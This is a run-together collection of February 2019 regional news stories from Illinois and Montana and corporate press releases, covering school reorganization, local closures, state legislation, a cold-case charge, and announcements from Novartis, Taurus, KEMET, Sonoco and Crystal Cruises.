Police were called to the home at 6:45 p.m. Wheeling paramedics attempted lifesaving measures and transported the woman to Glenbrook Hospital, where she was pronounced dead.

Love 0 Funny 0 Wow 0 Sad 0 Angry 2DECATUR  Middle school will look very different next year, with all Decatur Public Schools students housed in one building and given many more choices for elective courses.

The Decatur Board of Education on Tuesday night heard more details about the changes, which are expected to begin in August when Thomas Jefferson Middle School students join with those in the Stephen Decatur Middle School building off Mound Road. The merger is part of a wide-ranging facility plan that the board approved last fall as part of the district's five-year strategic plan.

The change also means that middle school students will have a wider variety of courses to choose from, much more like high school. Some of the proposed electives include art, concert band, public speaking and theater, coding, foods and fashion design.

"I have two totally different children and I think this would benefit both of them in different ways," said Mae Taylor, a parent who has been part of the planning and spoke to the board Tuesday. "They wont feel limited to a few choices that may or may not be anything theyre interested in at all, but because they needed to choose an elective, thats what they chose."

Combining the middle schools is among the first changes in the strategic plan, which calls for a number of school buildings to be reconfigured. Some will close. Some will consolidate. Eventually all will be air-conditioned.

Thomas Jefferson will be remodeled to house the two Montessori schools programs, now at Garfield and Enterprise schools, but the Montessori program will not move until August 2020. Thomas Jefferson Principal Nathan Sheppard will become an assistant principal at Eisenhower High School.

Our main goal is to create a middle school students aspire to attend, said Josh Peters, curriculum coordinator for the district. One of the strategic plan goals is to create a destination district and to internalize that further, to create all buildings to be destination buildings.

The middle school plan includes three academies: an ag academy; a public service academy for the exploration of careers like nursing, law enforcement and teaching; and a STEAM (science, technology, engineering, arts and technology) academy. Each academy has a capacity of about 300 students, 150 each from seventh and eighth grades.

The idea, Peters said, is not to steer students into a specific career path at such a young age, but to allow them to explore interests they already have. In some cases, kids might be able to eliminate a career path from contention after they've explored it and decided it's not for them.

That's part of our job as educators, to help them with that process, Peters said. We can help give them exposure earlier on, so we can better prepare them to be successful for whatever program they decide to take, whether that's a trade, two-year or four-year college.

One concern Peters said parents have expressed is that by combining the two middle schools, some students will feel lost in the crowd.

The academies are designed for smaller learning communities, he said. Instead of twice the size, it will feel smaller. They'll be in a smaller community than they are now, and it's giving them the opportunity to make connections with adults. They'll be housed together (in their academies) and have less interaction with other students (outside the academy).

Merry Lanker, an art teacher at Stephen Decatur, said she was excited about being able to offer so many more elective courses to the students. Currently, students are pushed into what's available among four elective courses, she said, and they don't have much say in their scheduling.

"Theres a whole breadth of things were trying to offer," Lanker said. "I think giving them this choice will give them more ownership over their scheduling and hopefully get them more excited to come to middle school."

Alternative education

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Another change coming with the 2019-20 school year is that Phoenix Academy's alternative education program will move to Harris School and will include students from kindergarten through high school. At present, alternative ed is not used with students younger than middle school.

The board approved staffing changes to accommodate the program without any discussion Tuesday night. It heard an extensive presentation on the new program at its Jan. 22 meeting.

Current Harris Assistant Principal Kelley Larrick will take the helm of the elementary alternative program, while Courtney Settles will be the secondary program principal.

Costs for the expanded program, which will be able to serve 150 students as opposed to the 15 currently enrolled, are estimated at $9,445 per student for a total of $1.4 million annually, said Superintendent Paul Fregeau. The cost for the program now is roughly $450,000, or $30,091 per student with 15 students in the program, officials have said.

According to the Illinois Report Card, Decatur spends about $6,000 per student on average, but alternative education is more intense.

The plan calls for:

Morning and afternoon sessions for high school sophomores, juniors and seniors that are credit-driven, focused on catching them up and getting them to graduation;

Full-day sessions for high school freshmen and middle school students;

Full-day sessions, beginning and ending at slightly earlier times than older students, for students in kindergarten through sixth grade;

A late afternoon program to meet the needs of students for whom that is the best option;

Suspension school for students suspended for three days or longer, to keep them from falling behind;

A simpler referral program, including the option for parents to request placement of their child in alternative education;

A staff that includes a social worker, behavior interventionist, family liaison, counselor, nurse, teaching assistants and teachers, all trained in trauma-informed practices.

Changes to the alternative education program have been under discussion for some time, and board member Kendall Briscoe previously called the plan a game-changer.

This is going to help our kids in a way that were not able to right now, she said during the Jan. 22 meeting.

Harris students will move to Hope Academy, and the special education students at Harris will be dispersed to other buildings depending on their needs.

School improvement

The board meeting also included presentation of school improvement plans for Baum, Dennis, Durfee, Enterprise, Franklin, French Academy, Garfield Montessori, Harris, Hope Academy, Muffley, Oak Grove, Robertson Charter School, South Shores and Stevenson elementary schools and Thomas Jefferson and Stephen Decatur middle schools.

Under the Every Student Succeeds Act, the federal education law, schools designated as underperforming or lowest performing based on state testing results are required to create a school improvement plan. Illinois State Board of Education requires those plans to be approved by the school board and submitted by Feb. 28.

Some of the common threads among all the buildings' findings are:

Parental involvement is low

Student mobility, absenteeism and truancy are problems

Some students exhibit disruptive behavior and lack of social/emotional skills

Students lack basic skills in the early grades and fall behind further each year

Children with a chaotic home life, or one lacking in basic needs being met, have more difficulty at school

The schools' plans for addressing the situation also have common threads:

More hours on the job for family liaisons

Mentoring for less-experienced teachers

Tutoring after school and in the summers to help children shore up their skills

More time for teachers to plan lessons

Books for children to take home to strengthen reading skills, and more focused and direct reading instruction

Instruction in social and emotional skills for students to help them manage relationships and behavior more effectively

Under the federal law, low and underperforming schools receive extra funds to help them address issues. To read the full improvement plans for each school, visit herald-review.com.

Contact Valerie Wells at (217) 421-7982. Follow her on Twitter: @modgirlreporter

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Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.DECATUR  A 12-year-old from Decatur is part of a project by student journalists who sought to memorialize the 1,200 children killed by gun violence since the Feb. 14, 2018, mass shooting at a high school in Parkland, Florida.

Marqueius N. Gray was shot to death Nov. 12. Police said the shooting was an accident as a 20-year-old family friend was playing with a gun.

The project at sinceparkland.org includes short obituaries for all 1,200 American child victims of gun violence in the past year. The stories were written by student journalists across the country who worked with The Miami Herald, McClatchy and The Trace, an online nonprofit news organization that covers firearms issues.

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Nepal will make its case for the countrys transitional justice process at the 40th session of the Human Rights Council in Geneva, where it is expected to assuage the concerns of the international community on the completion of the remaining tasks of the homegrown peace process.DECATUR  Mood swings, memory loss, night sweats, and hot flashes; all descriptions associated with a well-known phase in life.

The author of Menopause the Musical has found a way to make fun of the infamous change in life.

The international musical will be on stage for five shows Feb. 22 through 24, at the Decatur Civic Center.

We think we are crazy, but it is a part of life, said actress Megan Cavanagh said about the change as well as the musical. Not every woman goes through it all. We are like a fingerprints.

For 15 years, Cavanagh has toured every state in the country as well as Malaysia and Singapore with Menopause.

Ive seen the world, she said.

Cavanagh has been actress for nearly 30 years. One of her most memorable roles was that of Marla Hooch in the 1992 film A League of Their Own. She has performed other parts including as Trudy McHale in the 1990s television show Home Improvement, the voice of Judy Neutron in the animated series Jimmy Neutron: Boy Genius and several Cole Porter musicals. And musicals not done very often, she said.

The Menopause cast scheduled to visit Decatur will include Linda Boston, Teri Adams, Rebecca Fisher and Cavanagh.

The play follows four women of different walks of life. An earth mother, soap star, housewife and a professional woman all compete for the same black lace bra during a lingerie sale. The ladies learn they are all going through menopause. Each has their own journey, Cavanagh said. But they are all in the same boat.

The music is performed as parodies of familiar songs, such as a rewrite of The Lion Sleeps Tonight titled My Husband Sleeps at Night. Staying Alive is turned into Staying Awake.

They are parodies of music weve all grew up to love, Cavanagh said.

According to the cast, the musical offers no serious side to the uncomfortable topic.

Its all fun, but its empowering women to embrace their aging bodies and self, Cavanagh said. Look how far youve come.

The show was written by Jeanie Linders with its debut on March 28, 2001. The musical isnt just for ladies. Although the central theme and the title revolve around a subject well-known to older women, the musical has humor and an explanation of a confusing time, for all members of the family.

They all leave smiling and learning a lot, Cavanagh said about the audiences she has performed for. It is an eye-opener for many.

Cavanagh describes the show as encompassing for husbands, partners, children and other loved ones. She said families will gain an understanding.

Generations have come to the show, she said. They learn something about each other from it.

Contact Donnette Beckett at (217) 421-6983. Follow her on Twitter: @donnettebHR

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Stay up-to-date on what's happening Receive the latest in local entertainment news in your inbox weekly! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.DECATUR  Dog Haus at 4405 East U.S. 36 has closed for business due to "unsustainable rent costs," according to the franchising group that operated the restaurant.

Miea Levery, a spokeswoman for Goalz Restaurant Group LLC, said Tuesday that the company was "grateful" for the Decatur Dog Haus employees and would be working to support them and possibly relocate them after the closure.

"Thank you to all of our customers," Levery said in an emailed statement. "We hope to serve you again soon!"

Dog Haus' closure comes a year after the California-based fast-casual franchise opened its Decatur location on Feb. 10, 2018. Started in 2010 in Pasadena, California, the restaurant primarily served gourmet hot dogs and burgers, as well as a wide selection of beer and wine.

In an October 2017 news release, Goalz LLC said it was scheduled to open "265 restaurants over the next few years across 10 states."

The former Dog Haus location was previously occupied by Ruby Tuesday, which closed abruptly in July 2016.

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American Development Partners, a Tennessee-based firm that oversaw Dog Haus' development in Decatur, bought the building for $1 million in October 2016. The Herald & Review has reached out to the firm for comment.

Both the website and Facebook page for the Decatur restaurant were removed as of Tuesday afternoon. Calls made to Dog Haus on Tuesday did not go through.

A sign posted outside on the restaurant's front doors informed customers of the closure. "We are grateful for the opportunity to have served this great community," the sign read.

Decatur-area business openings and closings

Contact Jaylyn Cook at (217) 421-7980. Follow him on Twitter: @jaylyn_HR

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The business news you need With a weekly newsletter looking back at local history. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.In Montana, driving without a license is punishable by up to six months in jail, more fines, and an additional suspension of ones license. Searching for a new job, on the other hand, leaves people with even fewer resources for necessities, let alone court debt.

Unfortunately, this difficult situation results in some Montanans finding themselves behind bars despite posing no threat to the community. In addition to the great deal of harm this scenario inflicts on these individuals and their families, it is also a poor use of tax dollars.

Rather than investing scarce public resources into truly improving community safety, the funds are tied up incarcerating people who should not be in prison in the first place. This increases corrections spending over the long term. Studies have found that even brief jail stays increase the odds of another crime being committed down the road, particularly for low-risk defendants.

If lawmakers need added urgency, the practice of revoking drivers licenses was ruled unconstitutional by a federal judge in Tennessee last year.Second, history has consistently shown that the most enduring conservation policies are those which meet the needs of local people and wildlife. The needs of individuals and wolves in northwestern Montana may vary greatly from those north of Yellowstone Park, just as they differ from the needs of individuals and wolves outside of Montana. Simply stated, every ecosystem is different. As such, the notion of a one size fits all approach to wolf conservation is undesirable, impractical, and unsustainable. What has proven effective are strategies that are localized and adaptive. This is not to say that ecosystems are isolated with no effect on the whole, nor that policies should be myopic or without a moral compass. The point is that a cookie-cutter approach to conservation management is untenable. In terms of the current bills before us, this may mean that declaring a no-wolf hunting zone around Gardiner north of the Park may turn out to be as appropriate and consistent of a policy as liberalizing the ways in which hunters and trappers can pursue and kill wolves around Trout Creek in northwestern Montana. From this perspective, one local solution does not preempt another, even one that is radically different, nor does it explicitly validate the rightness of a particular viewpoint. It does, however, favor reasoned pragmatism over blind ideology.That is an 80-hour monthly requirement that can be met with activities like work or, for those who can't work, volunteering, seeking a job, substance use disorder treatment or training.

The requirements are similar to what the state of Arkansas enacted for its Medicaid expansion program last June.

The assumptions the university's analysis made about a work requirement in Montana were based on Arkansas' experience, as well as the work requirements for the Supplemental Nutrition Assistance Program, the food stamp replacement program known as SNAP.

After Arkansas implemented work requirements in June last year, about 18,000 had lost coverage by December. About 252,642 people were covered, meaning about 7 percent lost coverage in the first six months.

Buttrey has said his bill isn't modeled on Arkansas' version. It has a similar hours requirement, however. Buttrey also cautioned that his draft is subject to change before it's finalized. It has yet to be introduced.

"We certainly don't want to put (on) an hour requirement that is punitive," Buttrey said earlier this month. "I'm not trying to do something that's going to cause enrollment numbers to drastically change."Bill Mitchell with Montana Sportsmen for Fish and Wildlife believed hunters would support the measure.

I think this would be a big step forward, he said, and possibly lead to more land open to the public for hunting.

Avon rancher Matt Gravely felt it was important to note that the funds would go directly to dealing with problem wolves and is not aimed at indiscriminate killing. He further testified that ranchers compensated under the Montanas livestock loss board do not always see reimbursement if officials cannot determine which type of predator killed a domestic animal.

Nick Gevock with the Montana Wildlife Federation testified against the bill, arguing it would not raise a great deal of money and come with costs. He said the organization would support it with a sunset provision to verify the interest.

The bills fiscal note estimates the wolf mitigation donation would raise about $22,000 annually.

Marc Cooke with Wolves of the Rockies also testified in opposition. He noted that of the roughly 2.5 million cattle in Montana, only about 60 each year are confirmed killed by wolves. He said the organization is not against the livestock industry and would consider supporting the bill if it included nonlethal measures of wolf control.

The committee did not take immediate action on the bill.

Reporter Tom Kuglin can be reached at 447-4076 @IR_TomKuglin

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Enjoy unlimited articles at one of our lowest prices ever.Prosecutors have filed charges in a cold case from 1998 in which a woman pretended to be dead after being raped and having her throat slashed.

The Yellowstone County Attorneys Office charged Zachary David ONeill with attempted deliberate homicide and sexual intercourse without consent on Jan. 11.

ONeill, born in February 1980, has yet to be arraigned on the charges, which carry a penalty of between 10 years and life imprisonment.

ONeill is accused of attacking a woman who had just finished delivering newspapers on the morning of Sept. 5, 1998, raping her and then cutting her throat with a knife. The attack took place near the intersection of Broadwater Avenue and 24th Street West.

The woman told police at the time she had finished helping her daughter and friends with a paper route and was planning to be picked up in the area by her boyfriend, according to charges.

She said she heard footsteps behind her and was attacked by a man, prosecutors say. She said she got only a brief look at the man and that he forced her at knife-point between two buildings, where he raped her, the charges state.Krishana Prasain is a business reporter for The Kathmandu Post covering markets. Before joining The Kathmandu Post in 2018, she spent 3 years in New Business Age magazine covering business.Five Helena music students and their director are headed to the All-Northwest music festival in Portland, Oregon.

The biennial festival chooses the best musicians from Alaska, Montana, Idaho, Washington and Oregon. These students are brought together to rehearse with guest conductors before performing in a gala concert at the culmination of the event.

According to district director Zachary Harris, the audition process is incredibly difficult and includes musical excerpts typically performed by professional adult orchestras.

Harris said the selected students have a combined GPA of 3.94, and three are ranked No. 1 in their class. Many are AP students in addition to their musical talent.

Bassist Ali McAllister is representing Capital High School at the event. Bassist Fischer Friend, violist Celia Quintana, violinist Sonja Severtson and cellist Joseph "Lenny" Triem are representing Helena High School.

The students left Wednesday, Feb. 13, and will return the following Monday.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.Grand Old Partisan reveres Benjamin Hedrick, born near Winston-Salem this day of 1827. He studied mathematics at the University of North Carolina and science at Harvard College. This promising scholar then returned home to teach at his alma mater.

Angered by his opposition to slavery, Democrats burned him in effigy. Just ahead of a lynch mob, Professor Hedrick fled the state. In 1856, he published an article supporting the Republican presidential nominee:

"Fremont is on the right side of the great question which now disturbs the public peace. Opposition to slavery extension is neither a Northern or a sectionalism. It originated with the great Southern statesmen of the Revolution. Washington, Jefferson, Patrick Henry, Madison, and Randolph were all opposed to slavery in the abstract, and were all opposed to admitting it into new territory. Many of these great men were slaveholders; but they did not let self interest blind them to the evils of the system."

In 1861, the Lincoln administration hired him at the Patent Office. During the Civil War, he was a spokesman for both Unionists and rebel prisoners from his state. Peace restored, Hedrick was among the founders of the North Carolina Republican Party and advocated for African-American voting rights. He later taught chemistry at Georgetown University.

Here is a Video Version of this article on YouTube: https://youtu.be/UGtSrBVlVvs

Michael Zak is author of Back to Basics for the Republican Party, a history of GOP civil rights achievement.

Each day, his grandoldpartisan YouTube channel and Grand Old Partisan blog celebrate more than sixteen decades of Republican heritage. And, see Speech Raves for audience feedback from his presentations in thirty-one states so far.

He also wrote the 2005 Republican Freedom Calendar.

Clarence Thomas cited Back to Basics for the Republican Party in a Supreme Court decision.

Buy the book at Amazon

See www.youtube.com/q?v=IzxKCiXc5Qc for a brief video of a Texas Republican praising Back to Basics for the Republican Party.

"This is the most amazing book about politics that I have ever read. The Overview should be required reading for anyone with even a minor interest in government. The remainder is an enthralling history lesson that I will never forget. For years, we have all been misled about the true nature of the GOP. This is the real deal! Read it and be proud!"

"Michael Zak wrote the definitive history of the GOP."

"Back to Basics for the Republican Party is the most significant contribution to the Republican Party in the last twenty years apart from Ronald Reagan."

"Back to Basics for the Republican Party is more important to our party now than ever before."

and

"one of the best books I ever read"Hi tatosh,If you do not have a specific list of Schools that you want to apply to, then it's difficult to assess how 'competitive' your current GMAT Score actually is (or the type of GMAT Score that you might "need" to properly apply to some of Schools that you might want to attend).From what you describe, your studies have been somewhat "light"; many Test Takers spend 3 months (or more) of consistent study time before they hit their 'peak' scores - and will often spend 15-20 hours a week (or more) on their studies during that time. Based on your CAT Scores and Official Score, you are clearly a strong critical thinker - so focusing on the proper Tactics might be all that you really need to lock in a 700+ Score.Given your limited timeframe, you might choose to purchase the Enhanced Score Report. While the ESR doesn't provide a lot of information, there are usually a few data points that we can use to define what went wrong on Test Day (and what you should work on to score higher). If you purchase the ESR, then I'll be happy to analyze it for you.1) Are you planning to apply to Business School sometime soon (re: in the next couple of months) or later on?GMAT assassins aren't born, they're made,Rich_________________Miami, FL, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Following the much-anticipated unveiling of the new Taurus TX22 pistol at the 2019 SHOT show, Taurus is pleased to announce that its groundbreaking .22LR semi-auto is now shipping to dealers across the country. Handgun fans can expect this innovative, high-capacity rimfire to be on retail shelves and online stores imminently.

The new Taurus TX22 design satisfies the needs of shooters of all sizes and experience levels without compromising in any area. It is the perfect training handgun for beginners and those who have developed flinching habits. With its gentle recoil, crisp trigger and quick target acquisition, new shooters will enjoy immediate results.

This is a full-size polymer handgun engineered from the ground up to maximize fit, function, and comfort for shooters of all statures and levels of experience. Exhibiting features common to larger-caliber semi-auto handguns, the TX22 redefines performance standards, magazine capacity, and the overall shooting experience across the .22LR handgun category.

Key features of the TX22 include:

Single-action only striker-fire system

16+1 capacity

Short, 5-lb. trigger pull

Crisp trigger performance with a "custom trigger feel"

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The all-new TX22 meets the expectations of competitive-level shooters while providing the ideal platform for smaller-framed and beginning shooters and it does so at price point that fits every budget. To learn more about the new benchmark in rimfire handgun performance, go here or visit your local firearms retailer for a first-hand look at the TX22 by Taurus.

To learn more about Taurus firearms, click here.

About Taurus:

Taurus Holdings, Inc. (Taurus) and its subsidiaries continues to evolve and produce revolutionary new products. In addition, new standards for quality and efficiency help deliver reliable and affordable guns to the market. Taurus is based in Miami, Florida. Taurus is owned by Taurus Armas, S.A. which is a publicly traded company based in Brazil. Taurus Armas S.A. manufactures a wide variety of consumer and industrial products that are distributed worldwide.

For additional information, visit www.taurususa.com.

AttachmentsEgaten is the only drug approved in the US for the treatment of people with fascioliasis and is currently the only treatment recommended by the WHO



Fascioliasis, commonly known as liver fluke infestation, is estimated to infect 2.4 million people globally[1]



Novartis has been donating Egaten to the WHO since 2005, helping to treat around 2 million patients in more than 30 countries



FDA approval reinforces the company's commitment to reduce the burden of neglected tropical diseases including fascioliasis, leprosy and malaria

Basel, Switzerland, February 13, 2019 - Novartis announced today that the US Food and Drug Administration (FDA) has approved Egaten (triclabendazole) for the treatment of fascioliasis in patients six years of age and older. This makes Egaten the only FDA-approved drug for people with this disease and is expected to facilitate broader access to this important drug not only in the US, but also in affected countries worldwide.

"Novartis has a long-standing commitment to addressing global health challenges and supporting disease elimination efforts, in diseases such as leprosy, malaria and fascioliasis," said Vas Narasimhan, CEO of Novartis. "Today's FDA approval of Egaten is another important milestone that we believe will help further expand access to this one-day treatment, taking us a step closer toward disease elimination."

Fascioliasis, commonly known as liver fluke infestation, is a neglected tropical disease that infects 2.4 million people worldwide[1], with an additional 180 million at risk of infection[2]. It is caused by two species of parasitic flatworms that can infect humans following ingestion of larvae in contaminated water or food.

Egaten is currently the only medicine for fascioliasis recommended by the WHO and is on the WHO Model List of Essential Medicines. It is supplied by WHO during epidemic outbreaks and for periodic use in endemic countries. FDA approval of Egaten is expected to facilitate drug licensing and import to these countries, helping ensure sufficient and prompt availability of the drug when needed. Fascioliasis is recognized by the FDA as a neglected tropical disease, triggering the award of a Priority Review Voucher based upon this approval.

Novartis has been donating Egaten to the WHO since 2005, helping to treat around 2 million fascioliasis patients in more than 30 countries. In 2018, we renewed our agreement with the WHO to extend the drug donation until 2022, expected to reach 300 000 patients per year.

"This FDA decision is welcome news for millions who suffer or are at risk of fascioliasis and removes a major hurdle in expanding treatment to countries where it is most needed," said Dr Mwelecela Malecela, Director of the Department of Control of Neglected Tropical Diseases at the WHO. "We are thankful to Novartis for their sustained decade-long commitment in tackling yet another disease of poverty."

The Novartis commitment to neglected tropical diseases

Novartis is a signatory to the London Declaration on Neglected Tropical Diseases, which aims to control, eliminate or eradicate 10 diseases by 2020. The Novartis Institute for Tropical Diseases, founded in 2001, is dedicated to finding new medicines to treat neglected diseases. In addition to malaria, research currently focuses on parasitic diseases such as cryptosporidiosis (diarrheal disease) and three major kinetoplastid diseases: human African trypanosomiasis (sleeping sickness), Chagas disease and leishmaniasis. Building on our experience in neglected diseases, Novartis also implements programs to target access to medicine for chronic diseases and, most recently, to address sickle cell disease in Africa, starting in Ghana.

About fascioliasis

Fascioliasis is caused by two species of parasitic flatworms or trematodes that mainly affect the liver (Fasciola hepatica or Fasciola gigantica). Both species can infect humans following ingestion of larvae in contaminated water or food (mainly raw or undercooked vegetation). The larvae mature into adult worms in the biliary tract. No continent is free from fascioliasis; human cases have been reported from more than 70 countries worldwide[1].

Left untreated, fascioliasis can result in considerable pain and discomfort, leading to poor quality of life and loss of productivity. The acute phase of the disease is manifested with fever, abdominal pain, nausea, diarrhea and eosinophilia. The disease later progresses to a latent phase with less symptoms and ultimately into a chronic or obstructive phase. In children, fascioliasis can be a serious infection with high fever, enlarged tender liver, and anemia.

About Novartis

Novartis is reimagining medicine to improve and extend people's lives. As a leading global medicines company, we use innovative science and digital technologies to create transformative treatments in areas of great medical need. In our quest to find new medicines, we consistently rank among the world's top companies investing in research and development. Novartis products reach more than 800 million people globally and we are finding innovative ways to expand access to our latest treatments. About 130,000 people of more than 145 nationalities work at Novartis around the world. To learn more, visit www.novartis.com .

Novartis is on Twitter. Sign up to follow @Novartis at http://twitter.com/novartis

For Novartis multimedia content, please visit www.novartis.com/news/media-library

For questions about the site or required registration, please contact media.relations@novartis.com

References

[1] https://www.who.int/neglected_diseases/news/fascioliasis-review-provides-new-perspectives-infection-control/en/

[2] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4568335/

# # #

Novartis Media Relations

E-mail: media.relations@novartis.com

Eric Althoff

Novartis Global Media Relations

+41 61 324 7999 (direct)

+41 79 593 4202 (mobile)

eric.althoff@novartis.com Katerina Kontzalis

Novartis Communications

+41 61 324 1631 (direct)

+41 79 797 8393 (Mobile)

katerina.kontzalis@novartis.com

Novartis Investor Relations

Central investor relations line: +41 61 324 7944

E-mail: investor.relations@novartis.comFORT LAUDERDALE, Fla., Feb. 13, 2019 (GLOBE NEWSWIRE) -- KEMET Corporation, a Delaware corporation (KEMET or the Company), a leading global supplier of passive electronic components, announced today that it has entered into a customer agreement which provides interest-free advance payments to KEMET totaling $6 million, which will be used to fund KEMET investments in increased capacity. Together with two similar agreements entered into by the Company on September 4, 2018 and November 26, 2018, respectively, the Company will be receiving interest-free customer advances of $72 million to increase its capacity for the manufacture of certain multi-layer ceramic capacitors requested by the customers. For each agreement, the customer has a right of first order regarding the use of the additional capacity funded by its advance. KEMET retains the title and ownership to all equipment purchased using the advance.



We believe that these customer agreements reflect our customers committed optimism in anticipating long-term market growth and their confidence in KEMETs outstanding product quality and excellent customer service, stated William Lowe, the Company's Chief Executive Officer. By partnering with KEMET in our capital expansion plans, these customers are able to secure and expand their supply of multi-layer ceramic capacitors despite the current and possible future global supply constraints concerning such products, continued Lowe.

For each agreement, the advance is paid in quarterly installments over an expected period of 18  24 months. Once the additional capacity is fully installed and available, the advance is repaid to the customer on a quarterly basis. Each quarterly repayment amount is determined by a calculation that generally takes into account the number of components purchased by the customer in such quarter in excess of its established based ordering rate and is capped at 1/40th of the total advance. Although the minimum repayment period is ten years (beginning with the initial repayment), if, based on the customers ordering rate, the advance has not been fully repaid by a specific date (for each agreement, such date being approximately 20 years after the contract execution date), then any remaining amounts of the advance are considered paid in full.

About KEMET

The Companys common stock is listed on the NYSE under the ticker symbol KEM (NYSE: KEM). At the Investor Relations section of our web site at http://www.kemet.com/IR, users may subscribe to KEMET news releases and find additional information about our Company. KEMET offers our customers the broadest selection of capacitor technologies in the industry, along with an expanding range of electromechanical devices, electromagnetic compatibility solutions and supercapacitors. Our vision is to be the preferred supplier of electronic component solutions demanding the highest standards of quality, delivery and service. Additional information about KEMET can be found at http://www.kemet.com.

Cautionary Statement on Forward-Looking Statements

Certain statements included herein contain forward-looking statements within the meaning of federal securities laws about the Companys financial condition and results of operations that are based on managements current expectations, estimates and projections about the markets, in which the Company operates, as well as managements beliefs and assumptions. Words such as expects, anticipates, believes, estimates or other similar expressions and future or conditional verbs such as will, should, would, and could are intended to identify such forward-looking statements. These statements are not guarantees of future performance and involve certain risks, uncertainties and assumptions, which are difficult to predict. Therefore, actual outcomes and results may differ materially from what is expressed or forecasted in, or implied by, such forward-looking statements. Readers are cautioned not to place undue reliance on these forward-looking statements, which reflect managements judgment only as of the date hereof. The Company undertakes no obligation to update publicly any of these forward-looking statements to reflect new information, future events or otherwise.

Factors that may cause actual outcomes and results to differ materially from those expressed in, or implied by, these forward-looking statements include, but are not necessarily limited to, the following: (i) adverse economic conditions could impact our ability to realize operating plans if the demand for our products declines, and such conditions could adversely affect our liquidity and ability to continue to operate and could cause a write down of long-lived assets or goodwill; (ii) an increase in the cost or a decrease in the availability of our principal or single-sourced purchased raw materials; (iii) changes in the competitive environment; (iv) uncertainty of the timing of customer product qualifications in heavily regulated industries; (v) economic, political, or regulatory changes in the countries in which we operate; (vi) difficulties, delays, or unexpected costs in completing the Company's restructuring plans; (vii) acquisitions and other strategic transactions expose us to a variety of risks, including the ability to successfully integrate and maintain adequate internal controls over financial reporting in compliance with applicable regulations; (viii) our acquisition of TOKIN Corporation may not achieve all of the anticipated results; (ix) our business could be negatively impacted by increased regulatory scrutiny and litigation; (x) difficulties associated with retaining, attracting, and training effective employees and management; (xi) the need to develop innovative products to maintain customer relationships and offset potential price erosion in older products; (xii) exposure to claims alleging product defects; (xiii) the impact of laws and regulations that apply to our business, including those relating to environmental matters, data protection, cyber security, and privacy; (xiv) the impact of international laws relating to trade, export controls and foreign corrupt practices; (xv) changes impacting international trade and corporate tax provisions related to the global manufacturing and sales of our products may have an adverse effect on our financial condition and results of operations; (xvi) volatility of financial and credit markets affecting our access to capital; (xvii) the need to reduce the total costs of our products to remain competitive; (xviii) potential limitation on the use of net operating losses to offset possible future taxable income; (xix) restrictions in our debt agreements that could limit our flexibility in operating our business; (xx) disruption to our information technology systems to function properly or control unauthorized access to our systems may cause business disruptions; (xxi) economic and demographic experience for pension and other post-retirement benefit plans could be less favorable than our assumptions; (xxii) fluctuation in distributor sales could adversely affect our results of operations; (xxiii) earthquakes and other natural disasters could disrupt our operations and have a material adverse effect on our financial condition and results of operations; and (xxiv) volatility in our stock price.HARTSVILLE, S.C., Feb. 13, 2019 (GLOBE NEWSWIRE) -- Sonoco (NYSE: SON), one of the largest diversified global packaging companies, today announced that Harris E. DeLoach Jr. will retire as a director and as Executive Chairman in April of 2019. As part of its succession planning, the Board of Directors has named John R. Haley, current Vice Chairman, to be Chairman-elect.



At retirement, DeLoach, 74, will have served as Chairman of Sonocos Board of Directors for 14 years, including Executive Chairman since 2013. He was first elected to the Board in 1998 and became Chief Executive Officer of the Company in 2000 and Chairman in 2005 before retiring from day-to-day leadership in 2013. In total, DeLoach has more than 33 years of senior management and board experience with Sonoco.

There are few words to describe how fortunate Sonoco and the Board have been to have Harris as our Chairman for the past 14 years, said James M. Micali, Sonocos Lead Independent Director. In addition to his tenure in senior management of the Company, Harris has served with the Board to develop a stronger and more diverse team that has worked diligently to represent the best interests of shareholders, employees and the communities where Sonoco operates.

Haley, 57, has served on the Sonoco Board since 2011 and is Chief Executive Officer of Gosiger, Inc., a privately owned distributor of computer-controlled machine tool and factory automation systems, based in Dayton, Ohio. Micali added, John was the unanimous choice of the Board to become Chairman, based on his extensive executive management experience and the leadership he has provided to the Board over the past eight years, including chairing the financial policy committee. The Board has been planning succession for the past several years, including appointing John as Vice Chairman last year to work alongside Harris and be mentored by one of the top leaders of corporate governance.

In addition to serving on the Sonoco Board of Directors, DeLoach is a Trustee of the Duke Endowment. He formerly served on the boards of Duke Energy, Milliken & Company, Goodrich and Progress Energy. He has also served on numerous non-profit boards and has received several business leadership honors, including Distinguished Alumnus Award from the University of South Carolinas Moore School of Business in 1998; the University of South Carolina Distinguished Alumni Award in 2006; the 2008 Businessman of the Year by the South Carolina Chamber of Commerce; the Roger Milliken Defender of Manufacturing Award from the South Carolina Manufacturers Alliance in 2014; and the Order of the Palmetto from South Carolina Governor Nikki Haley in 2014.

About Sonoco

Founded in 1899, Sonoco (NYSE: SON) is a global provider of a variety of consumer packaging, industrial products, protective packaging, and displays and packaging supply chain services. With annualized net sales of approximately $5.4 billion, the Company has 23,000 employees working in approximately 300 operations in 36 countries, serving some of the worlds best known brands in some 85 nations. Sonoco is committed to creating sustainable products, services and programs for our customers, employees and communities that support our corporate purpose of Better Packaging. Better Life. The Company ranked first in the Packaging sector on Fortunes Worlds Most Admired Companies for 2019. For more information, visit www.sonoco.com .

Photos accompanying this announcement are available at

http://www.globenewswire.com/NewsRoom/AttachmentNg/858be83b-ebd5-466d-9bfb-4fd6b52dcac4



http://www.globenewswire.com/NewsRoom/AttachmentNg/87cb5b98-3669-40d9-96c7-dd46a3636fceMiami, FL, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Crystal Expedition Cruises luxury yacht, Crystal Endeavor, will travel a route that has captivated travelers for centuries when she embarks from Anadyr, Russia for Troms, Norway on August 18, 2021. On the 28-night expedition, the 200-guest, German-built vessel will visit some of the worlds most remote islands, archipelagos and coastlines, allowing adventurous guests to explore terrain few others ever have, all in luxurious comfort.



The Northeast Passage is precisely the type of bold expedition for which Crystal Endeavor is designed, with her PC6 designation and ability to maneuver through medium first-year ice, as well as offshore dynamic positioning, zodiacs and virtually all other gear necessary for such intrepid exploration, said Tom Wolber, president & CEO of Crystal. In addition to these technical amenities, shell accommodate guests in the highest standard of comfort and luxury, even as they travel to the most remote destinations.



